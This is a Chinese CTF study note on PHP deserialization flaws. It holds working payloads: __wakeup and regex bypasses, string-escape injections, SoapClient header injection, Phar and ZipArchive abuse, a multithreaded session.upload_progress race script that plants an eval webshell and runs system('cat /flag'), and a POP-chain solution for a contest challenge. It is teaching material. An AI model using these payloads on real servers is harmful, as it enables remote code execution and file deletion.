[CTF/Web] PHP 反序列化学习笔记
Serialize & unserialize
這兩個方法為 PHP 中的方法, 參見 serialize 和 unserialize 的官方文檔.
以下內(nèi)容中可能存在
字段,屬性,成員三個名詞誤用/混用, 但基本都表示屬性
文章仍在完善之中, SESSION 反序列化漏洞要學廢了
入門
我們先看看方法的序列化之后的字符串的格式是怎么樣的:
首先每一個序列化后的小段都由; 隔開, 使用{}表示層級關(guān)系
| 數(shù)據(jù)類型 | 提示符 | 格式 |
|---|---|---|
| 字符串 | s |
s:長度:"內(nèi)容" |
| 已轉(zhuǎn)義字符串 | S |
s:長度:"轉(zhuǎn)義后的內(nèi)容" |
| 整數(shù) | i |
i:數(shù)值 |
| 布爾值 | b |
b:1 => true / b:0 => false
|
| 空值 | N |
N; |
| 數(shù)組 | a |
a:大小: |
| 對象 | O |
O:類型名長度:"類型名稱":成員數(shù): |
| 引用 | R |
R:反序列化變量的序號, 從1開始 |
[!NOTE]
我們可以把對象的成員抽象為一個關(guān)聯(lián)數(shù)組
我們的鍵只允許字符串(關(guān)聯(lián)數(shù)組)和整數(shù)型(數(shù)值數(shù)組), 對與特殊的鍵將會進行轉(zhuǎn)換
例如 NULL 會轉(zhuǎn)成 空字符串, true 會轉(zhuǎn)換成 整數(shù)1, false 會轉(zhuǎn)換成 整數(shù)2
其余情況會被強轉(zhuǎn)成字符串, 例如 數(shù)組 會轉(zhuǎn)換成 Array
我們使用一個具體一點的示例來看看:
<?php
class Kengwang
{
public $name = "kengwang";
public $age = 18;
public $sex = true;
public $route = LearningRoute::Web;
public $tag = array("dino", "cdut", "chengdu");
public $girlFriend = null;
private $pants = "red"; // not true
}
enum LearningRoute {
case Web;
case Pwn;
case Misc;
}
$kw = new Kengwang();
print_r(serialize($kw));
我們可以看看序列化后的內(nèi)容:
O:8:"Kengwang":7:{s:4:"name";s:8:"kengwang";s:3:"age";i:18;s:3:"sex";b:1;s:5:"route";E:17:"LearningRoute:Web";s:3:"tag";a:3:{i:0;s:4:"dino";i:1;s:4:"cdut";i:2;s:7:"chengdu";}s:10:"girlFriend";N;s:15:"Kengwangpants";s:3:"red";}
有些混亂, 我們按照層級關(guān)系理一理
O:8:"Kengwang":7:{ // 定義了一個對象 [O], 對象名稱長度為 [8], 對象類型數(shù)為 [7]
s:4:"name";s:8:"kengwang"; // 第一個字段名稱是[4]個長度的"name", 值為長度為[8]的字符串([s]) "kengwang"
s:3:"age";i:18; // 第二個字段名稱是長度為[3]的"age", 值為整數(shù)型([i]): 18
s:3:"sex";b:1; // 第三個字段名稱是長度為[3]的"sex", 值為布爾型([b]): 1 -> true
s:5:"route";E:17:"LearningRoute:Web"; // 第四個字段名稱是長度為[5]的"route", 值為枚舉類型([E]), 枚舉值長度為 [17], 值為 "...":
s:3:"tag";a:3:{ // 長度為 [3] 的數(shù)組([a])
i:0;s:4:"dino"; // 第[0]個元素
i:1;s:4:"cdut";
i:2;s:7:"chengdu";
}
s:10:"girlFriend";N; // 字段 "girlFriend" 為 NULL
s:15:" Kengwang pants";s:3:"red"; // 私有字段名稱為 類型名 字段名, 其中類型名用 NULL 字符包裹
}
關(guān)于非公有字段名稱:
-
private使用: 私有的類的名稱 (考慮到繼承的情況) 和字段名組合\x00類名稱\x00字段名 -
protected使用:*和字段名組合\x00*\x00字段名
魔術(shù)方法
PHP 之中的對象擁有一個生命周期, 在生命周期中會調(diào)用 魔術(shù)方法, 可參見官方文檔.
對于魔術(shù)方法的詳細作用不在本文的討論重點.
__construct
構(gòu)造函數(shù), 在對應(yīng)對象實例化時自動被調(diào)用. 子類中的構(gòu)造函數(shù)不會隱式調(diào)用父類的構(gòu)造函數(shù).
在 PHP 8 以前, 與類名同名的方法可以作為 __constuct 調(diào)用但 __construct 方法優(yōu)先
__wakeup
此方法在對象被反序列化時會調(diào)用
__sleep
此方法在對象被序列化時會調(diào)用
__toString
此方法在對象轉(zhuǎn)化成字符串時會被調(diào)用.
當然, 因為 PHP 是一個弱類型語言, 很多情況對象會被隱式轉(zhuǎn)換成字符串, 比如說
-
==與字符串比較時會被隱式轉(zhuǎn)換 - 字符串操作 (str系列函數(shù)), 字符串拼接,
addslashes - 一些參數(shù)需要為字符串的參數(shù):
class_exists,in_array(第一個參數(shù)), SQL 預編譯語句,md5,sha1等 -
print,echo函數(shù)
__get
在讀取某些不可訪問或者不存在的字段時會調(diào)用此方法, 傳入?yún)?shù)為字段名稱
__set
給不可訪問和不存在的字段賦值時會被調(diào)用, 傳入的參數(shù)第一個為字段名, 第二個為賦值
__invoke
把對象當做函數(shù)調(diào)用時會使用, 例如 $foo()
當然不僅限于顯式調(diào)用, 將其作為回調(diào)函數(shù) (例如 array_map作為第一個參數(shù)傳入) 也會調(diào)用此函數(shù)
__call
調(diào)用無法訪問的方法時會調(diào)用
__isset
在對不可訪問的字段調(diào)用 isset 或者 empty 時調(diào)用
__unset
對不可訪問的字段使用 unset 時觸發(fā)
__debugInfo
在使用 var_dump, print_r 時會被調(diào)用
剩下的直接貼出其他師傅整理好的:
__call() // 在對象上下文中調(diào)用不可訪問的方法時觸發(fā)
__callStatic() // 在靜態(tài)上下文中調(diào)用不可訪問的方法時觸發(fā)
__set_state() // 調(diào)用var_export()導出類時,此靜態(tài)方法會被調(diào)用
__clone() // 當對象復制完成時調(diào)用
__autoload() // 嘗試加載未定義的類
魔術(shù)方法執(zhí)行順序
對于魔術(shù)方法的調(diào)用順序, 不同的情況下會有不同的順序
首先, 一個對象在其生命周期中一定會走過 destruct, 只有當對象沒有被任何變量指向時才會被回收
當使用 new 關(guān)鍵字來創(chuàng)建一個對象時會調(diào)用 construct
對于序列化/反序列化時的情況:
序列化時會先調(diào)用 sleep 再調(diào)用 destruct, 故而完整的調(diào)用順序為: sleep -> (變量存在) -> destruct
反序列化時如果有 __wakeup 則會調(diào)用 __wakeUp 而不是 __construct, 故而邏輯為 __wakeUp/__construct -> (變量存在)
當然, 也會有不遵守這個調(diào)用順序的情況, 后面繞過里面會進行討論
由此, 我們可以利用對象反序列化來構(gòu)造 POP 鏈, 我們可以看一道題
2023年 SWPU NSS 秋季招新賽 (校外賽道) - UnS3rialize, 在文章最底部
繞過
非公有字段繞過
對于 php7.1+ 版本, 反序列化時若提供的命名為公有字段格式, 會忽略掉非公有字段的訪問性, 而可以繞過直接直接對其賦值
這個時候我們有兩種方法可以
- 在寫序列化 php 文件時可以直接將字段改成 public
- 修改序列化后的字段名, 改為公開字段的樣式, 記得修改字符數(shù)
繞過 __wakeup
參見
CVE-2016-7124利用條件:
- php5: <
5.6.25- php7: <
7.0.10
當反序列化時, 給出的字段個數(shù)的數(shù)字小于提供的字段個數(shù), 將不會執(zhí)行 __wakeup
例如:
O:4:"Dino":1:{s:4:"addr";s:3:"209";}
改為:
O:4:"Dino":114514:{s:4:"addr";s:3:"209";}
十六進制繞過字符匹配
我們可以使用十六進制搭配上已轉(zhuǎn)義字符串來繞過對某些字符的檢測
例如:
<?php
class Read
{
public $name;
public function __wakeup()
{
if ($this->name == "flag")
{
echo "You did it!";
}
}
}
$str = '';
if (strpos($str, "flag") === false)
{
$obj = unserialize($str);
}
else
{
echo "You can't do it!";
}
這里檢測了是否包含 flag 字符, 我們可以嘗試使用 flag 的十六進制 \66\6c\61\67 來繞過, 構(gòu)造以下:
'O:4:"Read":1:{s:4:"name";S:4:"\66\6c\61\67";}'
順便貼一個 Python 腳本, 可以將字符串轉(zhuǎn)換為 Hex
str = input('Enter a string: ')
print('\\' + str.encode('utf-8').hex('\\'))
利用好引用
對于需要判斷兩個變量是否相等時, 我們可以考慮使用引用來讓兩個變量始終相等.
這個相當于一個指針一樣, 代碼如下:
class A {
public $a;
public $b;
}
$a = new A();
$a->a = &$a->b;
echo serialize($a);
序列化后的結(jié)果為:
O:1:"A":2:{s:1:"a";N;s:1:"b";R:2;}
對象反序列化正則繞過
有些時候我們會看到^O:\d+ 這種的正則表達式, 要求開頭不能為對象反序列化
這種情況我們有以下繞過手段
- 由于
\d只判斷了是否為數(shù)字, 則可以在個數(shù)前添加+號來繞過正則表達式 - 將這個對象嵌套在其他類型的反序列化之中, 例如數(shù)組
當然, 第一種更佳. 因為若不只匹配開頭則仍可以繞過
字符逃逸
對于字符逃逸, 由于 PHP 序列化后的字符類型中的引號不會被轉(zhuǎn)義, 對于字符串末尾靠提供的字符數(shù)量來讀取, 對于服務(wù)端上將傳入的字符串實際長度進行增加或減少(例如替換指定字符到更長/短的字符), 我們就可以將其溢出并我們的惡意字符串反序列化.
這種情況下我們通常只能控制其中的一個字符變量, 而不是整個反序列話字符串. 題目會將其先序列化, 再進行字符處理, 之后再反序列化. (類似于將對象存儲到數(shù)據(jù)庫)
例如我們有如下過濾機制:
<?php
class Book
{
public $id = 114514;
public $name = "Kengwang 的學習筆記"; // 可控
public $path = "Kengwang 的學習筆記.md";
}
function filter($str)
{
return str_replace("'", "\\'", $str);
}
$exampleBook = new Book();
echo "[處理前]\n";
$ser = serialize($exampleBook);
echo $ser . "\n";
echo "[處理后]\n";
$ser = filter($ser);
echo $ser . "\n";
echo "[文件路徑] \n";
$exampleBook = unserialize($ser);
echo $exampleBook->path . "\n";
此代碼會將其中的單引號過濾成為轉(zhuǎn)義+單引號, 此時字符串的長度會進行變化, 我們可以利用這一點使 name 中的東西溢出到 path 中.
我們構(gòu)造惡意字符串時需要先將前面的雙引號閉合,同時分號表示此變量結(jié)束. 在攻擊變量結(jié)束之后我們需要用 ;} 結(jié)束當前的序列化, 會自動忽略掉這之后的序列化.
我們的每一個單引號會變成兩個字符, 于是可以將我們的惡意字符給頂?shù)? 我們只需要提供 惡意字符串長度 個會被放大變成兩倍的字符.
當然如果不是兩倍, 我們可以靈活運用 + 來進行倍數(shù)配齊
例如我們需要惡意構(gòu)造 ";s:4:"path";s:4:"flag";}s:4:"fake";s:34:, 長度為 41, 于是我們提供 41 個'
最終給 name 的賦值為
Kengwang 的學習筆記'''''''''''''''''''''''''''''''''''''''''";s:4:"path";s:4:"flag";}s:4:"fake";s:34:
我們可以運行一下試試:
[處理前]
O:4:"Book":3:{s:2:"id";i:114514;s:4:"name";s:106:"Kengwang 的學習筆記'''''''''''''''''''''''''''''''''''''''''";s:4:"path";s:4:"flag";}s:4:"fake";s:34:";s:4:"path";s:27:"Kengwang 的學習筆記.md";}
[處理后]
O:4:"Book":3:{s:2:"id";i:114514;s:4:"name";s:106:"Kengwang 的學習筆記\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'";s:4:"path";s:4:"flag";}s:4:"fake";s:34:";s:4:"path";s:27:"Kengwang 的學習筆記.md";}
[文件路徑]
flag
可以看到 path 被替換成了 flag
當然有字符增加就會有字符減少, 對于字符減少, 我們假設(shè)有如下情況:
<?php
class Book
{
public $id = 1919810;
public $name = "Kengwang 的學習筆記"; // 可控
public $description = "The WORST Web Security Leaning Note"; // 可控
public $path = "Kengwang 的學習筆記.md";
}
function filter($str)
{
return str_replace("'", "", $str);
}
$exampleBook = new Book();
echo "[處理前]\n";
$ser = serialize($exampleBook);
echo $ser . "\n";
echo "[處理后]\n";
$ser = filter($ser);
echo $ser . "\n";
echo "[文件路徑] \n";
$exampleBook = unserialize($ser);
echo $exampleBook->path . "\n";
這里把反引號給過濾掉了, 我們先拿到正常的序列化后的串
O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:24:"Kengwang 的學習筆記";s:11:"description";s:35:"The WORST Web Security Leaning Note";s:4:"path";s:27:"Kengwang 的學習筆記.md";}
我們需要讓 ";s:11:"description";s:35: 被吞掉作為 name 變量的值, description的前引號會將其閉合, 此后 description 中的就會逃逸出成為反序列化串, 于是我們在 name 中填入 要被吞掉的字符數(shù)目 個', 于是嘗試
將 name 賦值為 Kengwang Note''''''''''''''''''''''''''
將 description 賦值為 ;s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"
得到結(jié)果如下
[處理前]
O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:39:"Kengwang Note''''''''''''''''''''''''''";s:11:"description";s:55:";s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"";s:4:"path";s:27:"Kengwang 的學習 筆記.md";}
[處理后]
O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:39:"Kengwang Note";s:11:"description";s:55:";s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"";s:4:"path";s:27:"Kengwang 的學習筆記.md";}
[文件路徑]
flag
利用不完整類繞過序列化回旋鏢
我這起的什么名字啊
當存在 serialize(unserialize($x)) != $x 這種很神奇的東西時, 我們可以利用不完整類 __PHP_Incomplete_Class 來進行處理
當我們嘗試反序列化到一個不存在的類是, PHP 會使用 __PHP_Incomplete_Class_Name 這個追加的字段來進行存儲
我們于是可以嘗試自己構(gòu)造一個不完整類
<?php
$raw = 'O:1:"A":2:{s:1:"a";s:1:"b";s:27:"__PHP_Incomplete_Class_Name";s:1:"F";}';
$exp = 'O:1:"F":1:{s:1:"a";s:1:"b";}';
var_dump(serialize(unserialize($raw)) == $exp); // true
這樣就可以繞過了
更近一步, 我們可以通過這個讓一個對象被調(diào)用后憑空消失, 只需要手動構(gòu)造無__PHP_Incomplete_Class_Name的不完整對象
PHP 會先把他的屬性給創(chuàng)建好, 但是在創(chuàng)建好最后一個屬性后并未發(fā)現(xiàn) __PHP_Incomplete_Class_Name, 于是會將前面創(chuàng)建的所有的屬性回收并引發(fā) __destruct
當然, 要達成這種在反序列化后的變量還存在的時候引發(fā) destruct, 還有下面這一種方法
Fast Destruct
還有一種叫做 fast destruct 的神奇操作, 同樣也是為了在序列化過程中, 在已經(jīng)創(chuàng)建好了屬性的對象之后引發(fā)反序列化錯誤, 導致全部屬性被回收而 destruct, 這種手法要比上一種簡單一點點:
- 改變序列化的元素數(shù)字個數(shù) (往小的寫)
- 刪掉最后一個
}(這是什么爽的操作)
這個可以參考
強網(wǎng)杯 2021 WhereIsUWebShell, 可以去看看其他師傅的解法, 我在看的時候看到了很多奇特的繞過手法.
利用
原生類應(yīng)用
當然, 我們反序列化也可以反序列化 PHP 中存在的類, 我們可以利用這些類存在的一些魔術(shù)方法來進行利用
我們可以通過腳本來獲取到這些類:
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
echo $class . '::' . $method . "\n";
}
}
}
輸出的內(nèi)容有點多就不在這里貼出來了, 我們關(guān)注幾個原生類
SoapClient
PHP 中默認未啟用此擴展, 需要修改
php.ini, 取消extension=soap前的注釋
SoapClient 可以進行 HTTP/HTTPS 的請求, 但是不會輸出服務(wù)端輸出的內(nèi)容. 不過, 我們?nèi)匀豢梢岳眠@個來進行內(nèi)網(wǎng)滲透.
我們通過上面的腳本可以找到 SoapClient 類中存在 SoapClient::__call, 當我們調(diào)用一個不存在的方法時會轉(zhuǎn)發(fā)到此方法, 同時請求給服務(wù)端
對于 SoapClient 的反序列化, 我們可以控制很多地方的參數(shù),
-
location(SoapClientlocation),這樣就可以發(fā)送請求到指定服務(wù)器 -
uri(SoapClienturi), 由于這一串最后會到 Header 里的SOAPAction, 我們可以在這里注入換行來新建 Header 項, 注意這里的會自動給傳入的內(nèi)容包裹上雙引號 -
useragent(SoapClient_user_agent), 由于User-Agent段在Content-Type的上方, 我們可以通過對useragent換行來覆蓋掉默認的text/xml的請求類型. 由于默認是 POST 請求, 結(jié)合起來我們就可以對指定服務(wù)器發(fā)送任意 POST 請求.
Exception / Error 類利用
如果 php 文件沒有禁用報錯輸出, 我們可以利用 Exception 的打印時會調(diào)用 __toString 來打印報錯信息, 于是我們便可以在報錯信息 (Exception Message) 中進行 XSS 注入.
同時也可以繞過哈希比較, 當兩個報錯類, 一個 Exception, 一個為 Error, 雖然他們兩個對象類型不等, 但經(jīng)過 __toString 后都一致, 可以利用他來繞過 PHP 中的哈希比較
文件操作
ZipArchive 類刪除文件
是不是很神奇, 這個能把文件刪除了!
在 ZipArchive 中存在 open 方法, 參數(shù)為 (string $filename, int $flags=0), 第一個為文件名, 第二個為打開的模式, 有以下幾種模式
ZipArchive::OVERWRITE 總是以一個新的壓縮包開始,此模式下如果已經(jīng)存在則會被覆蓋或刪除
ZipArchive::CREATE 如果不存在則創(chuàng)建一個zip壓縮包
ZipArchive::RDONLY 只讀模式打開壓縮包
ZipArchive::EXCL 如果壓縮包已經(jīng)存在,則出錯
ZipArchive::CHECKCONS 對壓縮包執(zhí)行額外的一致性檢查,如果失敗則顯示錯誤
我們可以發(fā)現(xiàn)當 flag 為 override (8) 時, 會將目標文件先進行刪除, 之后由于并沒有進行保存操作, 于是文件就被刪除了
在 ByteCTF 2019 - EZCMS 中有出現(xiàn)過
其他
當然, 原生類還有其他用途, 但是由于反序列化的限制無法被利用, 這里也貼出來吧
SQLite3 類創(chuàng)建文件
可以利用此創(chuàng)建本地數(shù)據(jù)庫的能力來創(chuàng)建一個文件
DirectoryIterator / FilesystemIterator 列出文件
這兩個類在進行 toString 操作后會返回當前目錄中的第一個文件
還有一個特殊的 GlobIterator, 不需要 glob:// 就可以遍歷目錄
SplFileObject 讀取文件
該方法不支持通配符并且只能獲取都愛第一行, 但是當走投無路的時候也不失為一種方法
閉包 (Closure)
閉包在 PHP 5.3 版本中被引入來代表匿名函數(shù), 直接將其作為函數(shù)來調(diào)用. 但是會收到 PHP 的安全限制而無法反序列化.
當然, 我們可能會發(fā)現(xiàn)一些第三方的 Closure 庫并沒有沒安全限制, 利用這些來反序列化也異曲同工.
Reflection系列 反射
可以參考 PHP 手冊: https://www.php.net/manual/en/book.reflection.php
反射可以讓你獲取到指定類,函數(shù)等的代碼, 可以利用其進行輸出
SimpleXMLElement XML 讀取
可以把這個和 XXE 結(jié)合起來實現(xiàn)文件讀取
Phar 反序列化
Phar 相當于一個打包了 php 文件的壓縮包. Phar 是PHP 5.3 中新增的特性。 它能夠在打包 PHP 文件,這對通過單個文件發(fā)布應(yīng)用程序或庫有很大幫助。
勾起以前開 MC 基巖版插件服的回憶了
Phar 會以序列化的方式存儲 meta-data (manifest), 當我們使用 phar:// 協(xié)議讀取 Phar 文件的時候, PHP 會將其反序列化. 幾乎所有的文件讀取函數(shù)都收到了此影響,
參見 https://paper.seebug.org/680/ 以及 https://blog.zsxsoft.com/post/38
我們需要在本地環(huán)境的 php.ini 中將 ;phar.readonly = On 改為 phar.readonly = Off
我們可以先構(gòu)建一個惡意 phar 文件. 這里直接抄 H3 佬的:
<?php
class D1no{
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設(shè)置stub
$o = new D1no();
$phar->setMetadata($o); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
?>
之后我們就可以將此文件上傳到服務(wù)器, 再通過文件操作函數(shù)調(diào)用, 例如 phar://test.phar/test 來讓他打開 phar 文件
當然在上面引用的兩篇文章中可以看到還有很多意想不到的地方也受到了影響
當然, 如果存在某些校驗, 我們也可以通過一些手段繞過.
如果不允許 phar 出現(xiàn)在文件路徑開頭, 我們可以套上其他的協(xié)議: compress.bzip://, compress.bzip2://, compress.zlib:// php://filter/resource=
SESSION 反序列化漏洞
這里我們主要利用 session.upload_progress 來進行利用.
我們要先知道, 如果沒有特別配置的話, session 通常存儲在服務(wù)器上的某個文件夾中, 并且文件名通常為 sess_{你的SESSION_ID}
由于他存儲時時通過反序列化, 所以原本的字符串會被保留. 于是我們可以注入 PHP 代碼, 再通過文件包含執(zhí)行他
利用條件:
- 可以進行任意文件包含 (或允許包含 session 存儲文件)
- 知道session文件存放路徑,可以嘗試默認路徑
- 具有讀取和寫入session文件的權(quán)限
這里我們就抄一下 H3 佬的一個 exp:
若服務(wù)器存在文件 test.php:
<?php
$b = $_GET['file'];
include "$b";
?>
我們可以使用類似條件競爭的方法來進行, 下面是 Python, 我加一點點注釋:
利用腳本
import io
import requests
import threading
sessid = 'KW'
data = {"cmd":"system('cat /flag');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50) # 創(chuàng)建 dummy 數(shù)據(jù)
resp = session.post( 'http://[ip]/test.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('KW.txt',f)}, cookies={'PHPSESSID': sessid} ) # 注入惡意代碼到存儲的 SESSION 中
def read(session):
while True:
resp = session.post('http://[ip]/test.php?file=session/sess_'+sessid,data=data) # 包含 SESSION 文件, 執(zhí)行惡意代碼
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
break
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
如果是反序列化的話, 我們也可以進行反序列化注入
如果我們的文件名可控, 我們在之前放上 | 表示前面的是鍵名, 后再寫入惡意代碼. 注意引號要進行轉(zhuǎn)義
便可有exp
內(nèi)容可以參考: PHP安全學習—反序列化漏洞 - 利用session.upload_progress進行反序列化攻擊 by H3rmeskit
題目
題源: 2023年 SWPU NSS 秋季招新賽 (校外賽道) - UnS3rialize
題目源碼:
<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
public $cmd;
function __invoke()
{
echo "Congratulations!!!You have learned to construct a POP chain<br/>";
system($this->cmd);
}
function __wakeup()
{
echo "W4keup!!!<br/>";
$this->cmd = "echo Welcome to NSSCTF";
}
}
class C
{
public $whoami;
function __get($argv)
{
echo "what do you want?";
$want = $this->whoami;
return $want();
}
}
class T
{
public $sth;
function __toString()
{
echo "Now you know how to use __toString<br/>There is more than one way to trigger";
return $this->sth->var;
}
}
class F
{
public $user = "nss";
public $passwd = "ctf";
public $notes;
function __construct($user, $passwd)
{
$this->user = $user;
$this->passwd = $passwd;
}
function __destruct()
{
if ($this->user === "SWPU" && $this->passwd === "NSS") {
echo "Now you know how to use __construct<br/>";
echo "your notes".$this->notes;
}else{
die("N0!");
}
}
}
if (isset($_GET['ser'])) {
$ser = unserialize(base64_decode($_GET['ser']));
} else {
echo "Let's do some deserialization :)";
}
我們可以分析這道題
- 看到在
NSS類的__invoke下存在system執(zhí)行, 需要將NSS類作為函數(shù)調(diào)用 - 在
C類的__get方法將whoami進行調(diào)用 (這里使用了中間變量中轉(zhuǎn)), 我們將其賦值為NSS類, 我們需要找到訪問非法字段的地方 - 在
T的__toString下訪問了sth的var(var非法), 我們將其賦值為C類, 需要找到字符串調(diào)用的地方 - 在
F中的__destruct存在對note字符串拼接, 將其賦值為T, 發(fā)現(xiàn)需要user和passwd滿足條件
于是我們構(gòu)造如下反序列化鏈
<?php
class NSS
{
public $cmd = "cat /flag";
}
class C
{
public $whoami;
}
class T
{
public $sth;
}
class F
{
public $user = "SWPU";
public $passwd = "NSS";
public $notes;
}
$f = new F("SWPU", "NSS");
$t = new T();
$c = new C();
$nss = new NSS();
$c->whoami = $nss;
$t->sth = $c;
$f->notes = $t;
echo serialize($f);
即可拿到 flag
參考資料
- PHP安全學習—反序列化漏洞 by H3rmesk1t
- PHP反序列化漏洞詳解(萬字分析、由淺入深) by Hardworking666
- PHP反序列化 by Y4tacker
- 【W(wǎng)EB】PHP反序列化 by 狼組安全團隊公開知識庫
- PHP 序列化冷知識 by 小安@知乎
總結(jié)
以上是生活随笔為你收集整理的[CTF/Web] PHP 反序列化学习笔记的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 文心一言 VS 讯飞星火 VS chat
- 下一篇: 视野修炼-技术周刊第62期